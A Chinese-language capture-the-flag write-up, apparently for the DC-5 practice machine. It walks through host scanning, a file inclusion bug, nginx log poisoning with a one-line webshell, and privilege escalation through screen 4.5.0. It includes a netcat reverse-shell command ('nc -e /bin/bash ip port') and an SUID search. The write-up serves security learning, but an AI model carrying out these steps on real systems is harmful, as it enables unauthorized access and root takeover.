先吐槽一波这套靶机着实把我折磨疯了。。。。。
第一步还是信息收集,使用nmap对局域网进行主机存活测试。找到IP,再扫一下存活端口,这次发现一个有意思的,111端口:rpcbind服务
知识点:什么是
RPC ?
RPC
(
Remote Procedure Call
)远程过程调用
协议是一个用于建立适当框架的协议。从本质上讲,它使
一台机器上的程序能够调用另一台机器上的子程序,而不会意识到它是远程的。
RPC
是一种软件通信协议,一个程序可以用来向位于网络上另一台计算机的程序请求服务,而不必了
解网络的细节。
RPC
被用来像本地系统一样调用远程系统上的其他进程。过程调用有时也被称为函数调用
或子程序调用。
为什么有
RPC
?
Socket 和
HTTP
编程使用消息传递范式。客户端向服务器发送一个消息,而服务器通常会发送一个消息回来。双方都负责以双方都能理解的格式创建消息,并从这些消息中读出数据。
然而,大多数独立的应用程序并没有那么多地使用消息传递技术。一般来说,首选的机制是函数(或 方法或过程)的调用。在这种方式中,程序将调用一个带有参数列表的函数,并在完成函数调用后有一组
返回值。这些值可能是函数值,或者如果地址被作为参数传递,那么这些地址的内容可能已经被改变。地
址的内容可能已经被改变
RPC 就是将这种编程方式引入网络世界的一种尝试。因此,客户端将进行在它看来是正常的过程调用。
客户端会将其打包成网络消息并传送给服务器。服务器会将其解包,并在服务器端将其转回为过程调用。
服务器端的过程调用。这个调用的结果将被打包,以便返回给客户端。
本地过程和远程
过程是什么? 过程就是业务处理、计算任务,更直白的说,就是程序。
RPC 就是想调用本地方法一样调用远程的过程。与本地过程调用一样,
RPC
也是一种同步操作,需要
挂起请求程序,直到返回远程过程的结果。但是,使用共享相同地址空间的轻量级进程或线程可以同时执
行多个 RPC
。
利用rpc可以实现ddos攻击由于我们本次实验目的并不是实现ddos,所以就没有测试,ddos攻击也比较危险。
回归正题,使用浏览器打开web,wappalyzer看一下没有有用信息就一个nginx容器。于是转变思路看看页面有没有利用点,找了一圈就一个提交信息的页面,利用xss也不太现实,那就扫一下目录跟文件看看发现footer.php
![](https://img-blog.csdnimg.cn/b4061ee7d8af406faf5bb6c8360a42a5.png)
打开啥也没有,就一个底部的日期,刷新看看。。。日期在随着改变,再在提交表单的位置重新提交发现也随着改变,于是怀疑thank.php包含文件footer.php。存在文件包含漏洞。
但是好像不知道传递参数的变量名,于是就用fuzz测试。打开bp。
得到变量名file。看一下日志文件,nginx日志文件位置在/var/log/nginx/access.log 下打开看看,服务器错误日志文件会保存在这里,于是将一句话木马写入进日志文件看看能不能行。
再次刷新打开日志文件发现文件已经写入,使用蚁剑连接。
使用蚁剑连接的时候有个问题不要用默认的编码,会导致返回数据为空。
查看root目录发现没有权限,开始提权。
在蚁剑中反弹shell
使用nc反弹
前面文章有shell反弹的利用方式。
nc -e /bin/bash ip port
![](https://img-blog.csdnimg.cn/680a0fe17aaf4d63a96866c0d6d48374.png)
kali上面
nc -lvp port
查找具有suid权限的命令
find /-perm /4000 2>/dev/null
perm /4000 查找suid权限
2> 错误输出到空文件
发现一个screen-4.5.0文件。去kali使用search搜索这个漏洞
searchsploit screen 4.5.0
看看利用poc
大概意思就是创建三个文件把这些代码保存起来放到目标主机的/tmp下去执行
我是直接把这仨文件拖到真实机在通过蚁剑上传的目标主机上。
这个我是传到/var/tmp了,记住传到/tmp下。后来改了忘了截图
在返回到kali里反弹shell的界面。
cd /tmp
chmod 777 dc5.sh
./cd5.sh
切换到root目录,发现flag
最让我崩溃的就是写那仨文件的时候在编译的时候一直在纠结返回信息以为是报错,后来反弹shell执行的时候发现没事。。。。。